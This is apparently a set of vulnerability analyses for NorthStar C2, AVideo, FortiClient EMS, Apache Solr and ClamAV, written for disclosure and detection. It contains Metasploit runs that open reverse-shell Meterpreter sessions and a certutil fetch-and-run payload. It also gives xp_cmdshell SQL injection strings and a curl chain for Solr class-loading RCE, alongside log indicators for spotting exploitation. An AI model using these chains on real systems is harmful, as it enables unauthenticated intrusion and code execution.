View the full module info with the info, or info -d command.

msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. NorthStar Login page detected
[*] Using URL:
[*] Server started.
msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > [*] Waiting on XSS execution
[+]   northstar_c2_xss_to_agent_rce - Received cookie: d89vrb0v20fpr9mr9v63t6ag4j
[+]   northstar_c2_xss_to_agent_rce - Live Agents

 ID                   IP              OS                     Username                 Hostname         Status
 --                   --              --                     --------                 --------         ------
 NcXSkaPsdYYqgc3m1Wq  Windows 10 Enterprise  DESKTOP-N3ORU31\msfuser  DESKTOP-N3ORU31  Online

[*]   northstar_c2_xss_to_agent_rce - (NcXSkaPsdYYqgc3m1Wq) Stealing DESKTOP-N3ORU31
[*] Sending stage (201798 bytes) to
[*] Meterpreter session 1 opened ( -> at 2024-05-13 14:25:50 -0700

msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-N3ORU31\msfuser
meterpreter > sysinfo
Computer        : DESKTOP-N3ORU31
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Attacker Value and Exploitability

This requires an admin user interaction in order for the exploit to be successful, which is why the attacker value is lower. Also you don’t know what target you’re going to get a session on before the exploit is successful because you’re unable to see what agents are connected to the C2 up until you steal the admin cookie, which also makes this slightly less appealing. Although that being said it’s pretty cool such a solid and reliable exploit was found in a C2 used by real APTs.



  • Attacker Value
  • Exploitability
Technical Analysis

WWNB AVideo is a versatile and advanced video streaming platform tailored for individual content creators, businesses, and developers alike. Versions v.12.4 through v.14.2 which have the WWNBIndex Plugin installed suffer from a Local File Inclusion vulnerability which can be used to obtain Remote Code Execution through the use of PHP Filter Chaining. For those unfamiliar with PHP Filter Chaining please reference the previous link or the AKB article for CVE-2023-6553 which goes into more detail of how the technique works.

The vulnerable line of code lives on line 6 of /AVideo/plugin/WWBNIndex/submitIndex.php:

The unfiltered POST request parameter systemRootPath gets directly used in a require_once statement which is normally just an LFI but by leveraging PHP Filter Chaining it can be turned into RCE. The vulnerable code can be accessed without authentication by hitting the following endpoint: <target_uri.path>/plugin/WWBNIndex/submitIndex.php/.


The following POST request can be used to execute code on a vulnerable system. The POST request executes the following command: ping which is the IP address of my host machine.

POST /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 11884


With tcpdump running in a separate terminal we can see ICMP requests start coming from example.com which is

➜  metasploit-framework git:(upstream-master) ✗ sudo tcpdump -i any icmp
tcpdump: data link type PKTAP
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type PKTAP (Apple DLT_PKTAP), snapshot length 524288 bytes
08:49:08.893463 IP example.com > ICMP echo request, id 1, seq 164, length 64
08:49:08.893468 IP example.com > ICMP echo request, id 1, seq 164, length 64
08:49:08.893494 IP > example.com: ICMP echo reply, id 1, seq 164, length 64
08:49:08.893496 IP > example.com: ICMP echo reply, id 1, seq 164, length 64
08:49:09.917575 IP example.com > ICMP echo request, id 1, seq 165, length 64
08:49:09.917579 IP example.com > ICMP echo request, id 1, seq 165, length 64

Metasploit Module Demo

The Metasploit Module has three separate targets which can be exploited:

msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > show targets

Exploit targets:

    Id  Name
    --  ----
    0   Automatic
=>  1   PHP In-Memory
    2   Unix In-Memory
    3   Windows In-Memory

We we use the PHP In-Memory target for this demonstration which will allow us to get a PHP Meterpreter session on the target executing in the context of the user running the application which in this case will be www-data:

msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set target 1
target => 1
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > run

[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected vulnerable AVideo version: 12.4, with vulnerable plugin WWBNIndex running.
[*] Sending stage (39927 bytes) to
[*] Meterpreter session 1 opened ( -> at 2024-05-22 09:38:12 -0400

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : msfuser-virtual-machine
OS          : Linux msfuser-virtual-machine 6.2.0-35-generic #35~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Oct  6 10:23:26 UTC 2 x86_64
Meterpreter : php/linux
meterpreter >


The Wiki instructs users to install using a LAMP environment which means IoCs are most likely going to be found in the /var/log/apache2 directory. I would suggest running the following grep command:

msfuser@msfuser-virtual-machine:/var/log$ grep -r "plugin/WWBNIndex/submitIndex.php" ./
grep: ./boot.log: Permission denied
grep: ./vmware-vmtoolsd-root.log: Permission denied
grep: ./vmware-vmsvc-root.2.log: Permission denied
grep: ./btmp: Permission denied
grep: ./private: Permission denied
grep: ./gdm3: Permission denied
./apache2/access.log: - - [22/May/2024:05:46:22 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36"
./apache2/access.log: - - [22/May/2024:05:49:19 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36"
./apache2/error.log.1:[Tue May 21 11:19:15.787030 2024] [php:warn] [pid 13160] [client] PHP Warning:  Undefined array key "systemRootPath" in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log.1:[Tue May 21 11:19:15.787365 2024] [php:warn] [pid 13160] [client] PHP Warning:  require_once(plugin/WWBNIndex/WWBNIndex.php): Failed to open stream: No such file or directory in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log.1:[Tue May 21 11:19:15.787387 2024] [php:error] [pid 13160] [client] PHP Fatal error:  Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n  thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:46:22.086098 2024] [php:warn] [pid 14828] [client] PHP Warning:  Undefined array key "systemRootPath" in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:46:22.086170 2024] [php:warn] [pid 14828] [client] PHP Warning:  require_once(plugin/WWBNIndex/WWBNIndex.php): Failed to open stream: No such file or directory in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:46:22.086186 2024] [php:error] [pid 14828] [client] PHP Fatal error:  Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n  thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:49:19.874976 2024] [php:warn] [pid 14825] [client] PHP Warning:  Undefined array key "systemRootPath" in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:49:19.875069 2024] [php:warn] [pid 14825] [client] PHP Warning:  require_once(plugin/WWBNIndex/WWBNIndex.php): Failed to open stream: No such file or directory in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/error.log:[Wed May 22 05:49:19.875100 2024] [php:error] [pid 14825] [client] PHP Fatal error:  Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n  thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
./apache2/access.log.1: - - [21/May/2024:11:19:15 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36"
./apache2/access.log.1: - - [21/May/2024:11:19:15 -0700] "POST /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36"

Pay close attention to the apache error.log. This line indicates an attacker could have attempted to exploit the vulnerability but attempted to run a command that failed and thus the vulnerable require statement on line 6 of submitIndex.php that facilitates the RCE also failed:
./apache2/error.log.1:[Tue May 21 11:19:15.787387 2024] [php:error] [pid 13160] [client] PHP Fatal error: Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6

Also pay close attention to the apache access.log. This line indicates an attacker could have attempted to access the vulnerability:
./apache2/access.log: - - [22/May/2024:05:49:19 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36"

Note that the presence of both of the log lines highlighted above do not necessarily indicate the system has been compromised, they could be from normal operation. However on a compromised system, if an attacker did not clean up after themselves (delete those log files) it’s very likely traces like the ones mentioned above would be present.

Obtaining a Vulnerable version

The WWBNIndex Plugin is installed by default on the most recent patched versions. There is only one affected release (12.4) available for downloadon the official GitHub page and the vulnerable plugin does not exist in this release. The original exploit author doesn’t mention having to install the vulnerable plugin in order for the application to be vulnerable, they mention:

This particular vulnerability lies within the WWBNIndex plugin — a crucial component for the platform’s functionality

It seems as though all vulnerable versions have been removed from the GitHub release section. If you want to install a vulnerable version, please checkout the following branch on the AVideo GitHub page and install the application from there.

Attacker Value and Exploitability

I gave this vulnerability the Attacker Value and Exploitability values I did because of the unauthenticated unprivileged access it gives to an attacker. Also because of how easy the vulnerability is to exploit and for how reliable the exploit is.


Hey yyt0524, my apologies, the pull request for the module is still in review on github but can be found here:

  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized platform for overseeing enrolled endpoints. The SQLi vulnerability is due to user controller strings which can be sent directly into database queries.

Affected versions of FortiClient EMS include:
7.2.0 through 7.2.2
7.0.1 through 7.0.10

FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable to SQLi. The SQLi can be used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code execution in the context of NT AUTHORITY\SYSTEM.

It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient EMS for the necessary vulnerable services to be available. So technically the server, out of the box, is not vulnerable in its default configuration which usually diminishes an exploit’s attacker value. However, it’s quite unlikely that an Endpoint Management Server running in production would not be managing any endpoints so I personally think it still deserves a 5/5 for an Attacker Value and given the simplicity and unauthenticated nature of the exploit, 5/5 for Exploitability as well.

Testing SQLi

One can test the vulnerability by establishing a TCP socket with SSL enabled on port 8013 of an endpoint running FortiClient EMS. If you then send the following data on across the established connection, which injects the following SQL: ' OR 1=1; – into the vulnerable FCTID parameter:

SIZE=    1581


A vulnerable endpoint will return a response containing the string KA_INTERVAL like so:

FCKARPLY: CONT|1|EMSSN|FCTEMS0000125975:dc2.kerberos.issue|UPLD_PRT|8013|KA_INTERVAL|60|LIC_FEATS|283004|LIC_ED|1870228800|AUTH_PRD|0|SNAPTIME|0|QUAR|0|AVTR|1|AV_SIG|92.03303|SERIAL|6C68D8277A537F95521BB0C8310727DF46D3C97B|EMS_ONNET|0|ZHVR|eJzVmG1zojAQgL/fr8j5XYEAam8oHY/SlzmtnbbXzk3tMCkGTI3ghPjSf39RQLSlFG+sN35Rkt3N7j5JFhLjZD6iYIpZRMLguKLU5ArAgRv2SeAfVybcqzYrJ+Y3wwsZJy4lOOCOGwYe8ScMcWFjGomx2ajJtYYhpU1jjIQJom/UFUPKFxiDMOKOsCYecZOuEZo7HPmOR5G/sNxoL6VsQnHc1BN51mMsHqP4L/7NNNe0AjQS4u+P1mnrrvXYuQXXLJy/3g4wpeB+QgPM0DPFT0+mIcWqYWTOSNAPZ5EhiWfDZYSLsJFpeBjxCcOmO8XONDEllHCChWoqTPUXCQoEXCDN3Fv3dhXKUKmqCpQbS6crnQD7gssUm7KIJH0W8mw4KQuFL1JbsNoivUw9gy7H3TEqaTmqlAFdx6o1DgGrpkP1oLCq9YPAqjUODKtegPXGnhLqXHYtB8+3Y+kRisvC+9EbzkI2FJW2h3whqqXOdsrwfS454I7Kc9NKcXMZ3x+31NkXcUuHz+HWLM9NLcWNYZ9EnL06Q/y6FcDUsCTEi1/2H6fdtVptp9OyLi6v7N5t9+zuoXVj9x66D3VNhVdhH/d+UuQO2wJf1EFcjNb7StDvks8hXn6HF23w+84MMQymlsgCM3AmVh/4PaYh6oMqWFU1CGVZ33cpzZzulPK2GedV13r5b4Hid5Y9dwco8DG4sewN9/Wmvn/gK6e7fnd9nmYeZb18TSmg3OIURRFBAeieX7U3I4AiAkXV9gt63elOQZfNNI+1Vpo1LGB9TngbPQPLlmwbWOFohII+uAxesLs4xmzuL/g/Kgr8ioryL1nnzYFaeg6Kzm3XExph4V4cVEfL0yM4JZFLw0hwWsWiHFUVRVfkvc7AhtOdzsD2Oefxh6X5y0X1ZozcAQbt0Nde1ude0yBs7nvFZ053W2k+zTGPr/IhXym5oBB90ZrTdK1nVu9DQZQmn0uY4b4T38xEb2JInMXDSzn3K9LH1zp/AQpaQ/A=|HVCS|913c523b8b79d4714cbdb64e7cc6268c|TAGS|000000000000000000000000000000000000000000000000000|

Getting RCE

The SQLi injection can be used to obtain unauthenticated RCE on the vulnerable FortiClient EMS endpoint by enabling the xp_cmdshell. As demonstrated in the metasploit module, the following five SQL injections can be used to enable xp_cmdshell and then use it to execute a payload:

      "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--",
      "' OR 1=1; reconfigure;--",
      "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--",
      "' OR 1=1; reconfigure;--",
      "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",

When attempting to obtain RCE it was noticed that the application takes the command that you inject and transforms it to all uppercase characters (this can be seen in the logs included in the IOC section below). This breaks any attempt to Base64 encode a payload and then run it using master.dbo.xp_cmdshell powershell.exe -e <Base64 encoded payload> (as Base64 is case sensitive). Which is why the metasploit module encodes the payload in hex and then uses MSSQL to decode the payload before running it with xp_cmdshell.

Metasploit Module Demo

msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts
rhosts =>
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost
lhost =>
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options

Module options (exploit/windows/http/forticlient_ems_fctid_sqli):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   8013             yes       The target port (TCP)
   VHOST                    no        HTTP server virtual host

Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      FqgyHVSnYd       no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST          yes       The listen address (an interface may be specified)
   LPORT               8383             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(windows/http/forticlient_ems_fctid_sqli) >
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run
[*] Reloading module...

[*] Started reverse TCP handler on
[*] - Running automatic check ("set AutoCheck false" to disable)
[+] - The target is vulnerable. The SQLi has been exploited successfully
[+] - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully
[+] - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
[+] - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully
[+] - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
[*] Sending stage (201798 bytes) to
[+] - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75
54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully
[*] Meterpreter session 8 opened ( -> at 2024-04-11 14:00:22 -0700

meterpreter > getuid
syServer username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC2
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : KERBEROS
Logged On Users : 16
Meterpreter     : x64/windows
meterpreter >


There are a number of files in C:\Program Files (x86)\Fortinet\FortiClientEMS\logs\ that will contain evidence of exploitation on a compromised host. The following excerpts were taking from fcmdaemon[2024-04-10 15-29-42].log and you can see the vulnerability being exploited as the FTCUID parameter CBE8FC122B1A46D18C3541E1A8EFF7BD' is being injected with SQL commands which enable the xp_cmdshell which is then used to launch calc.exe

"CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848228,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'XP_CMDSHELL',1;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'XP_CMDSHELL',1;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.XP_CMDSHELL 'CMD.EXE /C CALC.EXE';--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:30][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.XP_CMDSHELL 'CMD.EXE /C CALC.EXE ';--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}



  • Attacker Value
  • Exploitability
Technical Analysis

Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File with Dangerous Type vulnerability which can result in remote code execution in the context of the user running Apache Solr.

This exploit abuses three components of the API. It should be noted that by default Apache Solr ships with no authentication mechanism to protect these API endpoints from attackers. The Basic Authentication plugin can easily be added to Apache Solr which makes this exploit an authenticated RCE however by default this is an unauth RCE.

The three API functions that this exploit uses to achieve code execution are as follows:

  • /admin/configs?action=UPLOAD
  • /admin/collections?action=CREATE
  • /admin/collections?action=BACKUP

The configs UPLOAD function allows the user to upload a configuration specification in the form of the .zip file. The crux of the vulnerability lies in the fact that the zip file is not properly sanitized and an attacker is able to include a malicious .class file inside the zip. The class needs to be compiled with the following package name: package zk_backup_0.configs.conf1 ; in order for it to be executed.

A number of extra steps are required in order to get that .class file to execute. Upload a config like so:

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip ""

Next the collections CREATE function can be used to create a ‘collection’ in Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load some classes from it (this is important to note for later). Create a collection from the config uploaded previously like so:

curl ""

Next the attacker can abuse the BACKUP function. The backup function of the Collection can export malicious class files uploaded by attackers to a specific directory, which is very useful. This allows the attacker to place the malicious .class file in a location which will then be loaded by a Collection next time we create one. The backup function accepts the parameters locations which is the path to be exported and name which is actually equivalent to part of the path. Getting the .class file into a place where it can be executed successfully is a two step process. First export the collection like so:

curl ""

This will export collection1 to /var/solr/data/collection2_shard1_replica_n1
And it’s corresponding configuration is exported to: /var/solr/data/collection2_shard1_replica_n1/collection1/zk_backup_0/configs/

Now export it again with location set to /var/solr/data/collection2_shard1_replica_n1 and name set to lib:

curl ""

Now our malicious class we uploaded in the original config ends up here:

You may have noticed that the directory structure above corresponds exactly to the required package name mentioned earlier.

Now the attacker uploads a second configuration. This time without a malicious .class but with:

<valueSourceParser  name= "myfunc"  class= "zk_backup_0.configs.conf1.Exp"  />

Set inside solrconfig.xml. This “SourceParser” will get loaded when a collection is created from this config.
Upload the config like so:

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip ""

And now for the the final step in the exploit, create a second collection from the second configuration just uploaded:

curl ""

During the collection creation process our malicious class will be loaded. It’s important to note the code one wants executed should be placed in the static method of the malicious class such that it will be executed when the class is loaded as the class isn’t actually being called directly.

And Voilà! If everything has gone to plan the code in the static method of the malicious class should execute in the context of the user running Apache Solr.

Attacker Value and Exploitability Explained

Attacker value 3/5

Although by default this vulnerability doesn’t require authentication, Apache Solr used in a production environment likely have an authentication plugin installed with it and or would likely not be exposed to the internet.

Exploitability 4/5

If you can access the application, exploitation is trivial, with the exception of needing to know credentials if the auth plugin is present.

Try it yourself

If you wish to see this exploit in action, simply spin up a vulnerable Apache Solr instance with the following docker-compose file:

version: '3'

    image: solr:9.0.0
      - "8983:8983"
      - "5005:5005"
    command: sh -c "solr start -c -a '-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005' && tail -f /dev/null"

Load the metasploit module for this exploit, set the rhost and lhost values, run it and you should get a session in the context of the user running Apache Solr:

msf6 > use linux/http/apache_solr_backup_restore
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_solr_backup_restore) > set rhosts
rhosts =>
msf6 exploit(linux/http/apache_solr_backup_restore) > set lhost
lhost =>
msf6 exploit(linux/http/apache_solr_backup_restore) > run
[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Running check method
[*] Authentication not required
[*] Found Apache Solr 9.0.0
[*] OS version is Linux amd64 6.6.16-linuxkit
[+] The target appears to be vulnerable. Found Apache Solr version: 9.0.0
[+] Uploaded configuration successfully
[+] Backed up collection successfully
[+] Backed up collection successfully
[+] Uploaded configuration successfully
[*] Sending stage (3045380 bytes) to
[+] Successfully dropped the payload
[*] Meterpreter session 12 opened ( -> at 2024-04-01 16:18:17 -0700
[*] Cleaning up...
meterpreter > getuid
Server username: solr
meterpreter > sysinfo
Computer     :
OS           : Ubuntu 20.04 (Linux 6.6.16-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
Technical Analysis

ClamAV is a open-source antivirus engine that has been around for the past 21 years and runs on many different operating systems including for AIX, BSD, HP-UX, Linux, macOS, OpenVMS, OSF, Solaris and Haiku and as of version 0.97.5, ClamAV builds and runs on Microsoft Windows.

A command injection vulnerability exists in the following ClamAV versions:

  • 0.104 (all patch versions)
  • 0.105 (all patch versions)
  • 1.0.0 through 1.0.4 (LTS)
  • 1.1 (all patch versions)
  • 1.2.0 and 1.2.1

The command injection vulnerability allows users to execute commands in the context of the user running the ClamAV application, which is commonly a ClamAV daemon running as root though many other configurations are possible.

The vulnerability stems from the VirusEvent feature which is not enabled by default but can be configured in ClamAV’s conf file: /etc/clamav/clamd.conf. The feature is defined in the clamd.conf as follows:

# Execute a command when virus is found. In the command string %v will
# be replaced with the virus name and %f will be replaced with the file name.
# Additionally, two environment variables will be defined: $CLAM_VIRUSEVENT_FILENAME
# Default: no
#VirusEvent /usr/local/bin/send_sms 123456789 "VIRUS ALERT: %v in %f"

As stated in the definition above %v is the virus name and %f is the file name. The file name is not sanitized, allowing an attacker to inject a command into the command string.

The VirusEvent feature is handled by the virusaction function which is defined in the file clamd/clamd_others.c:

void virusaction(const char *filename, const char *virname,
                 const struct optstruct *opts)
    pid_t pid;
    const struct optstruct *opt;
    char *buffer_file, *buffer_vir, *buffer_cmd, *path;
    const char *pt;
    size_t i, j, v = 0, f = 0, len;
    char *env[4];

    if (!(opt = optget(opts, "VirusEvent"))->enabled)

    path   = getenv("PATH");
    env[0] = path ? strdup(path) : NULL;
    j      = env[0] ? 1 : 0;
    /* Allocate env vars.. to be portable env vars should not be freed */
    buffer_file =
        (char *)malloc(strlen(VE_FILENAME) + strlen(filename) + 2);
    if (buffer_file) {
        sprintf(buffer_file, "%s=%s", VE_FILENAME, filename);
        env[j++] = buffer_file;

    buffer_vir =
        (char *)malloc(strlen(VE_VIRUSNAME) + strlen(virname) + 2);
    if (buffer_vir) {
        sprintf(buffer_vir, "%s=%s", VE_VIRUSNAME, virname);
        env[j++] = buffer_vir;
    env[j++] = NULL;

    pt = opt->strarg;
    while ((pt = strstr(pt, "%v"))) {
        pt += 2;
    pt = opt->strarg;
    while ((pt = strstr(pt, "%f"))) {
        pt += 2;
    len = strlen(opt->strarg);
    buffer_cmd =
        (char *)calloc(len + v * strlen(virname) + f * strlen(filename) + 1, sizeof(char));
    if (!buffer_cmd) {
        if (path)

    for (i = 0, j = 0; i < len; i++) {
        if (i + 1 < len && opt->strarg[i] == '%' && opt->strarg[i + 1] == 'v') {
            strcat(buffer_cmd, virname);
            j += strlen(virname);
        } else if (i + 1 < len && opt->strarg[i] == '%' && opt->strarg[i + 1] == 'f') {
            strcat(buffer_cmd, filename);
            j += strlen(filename);
        } else {
            buffer_cmd[j++] = opt->strarg[i];

    /* We can only call async-signal-safe functions after fork(). */
    pid = vfork();
    if (pid == 0) { /* child */
        _exit(execle("/bin/sh", "sh", "-c", buffer_cmd, NULL, env));
    } else if (pid > 0) { /* parent */
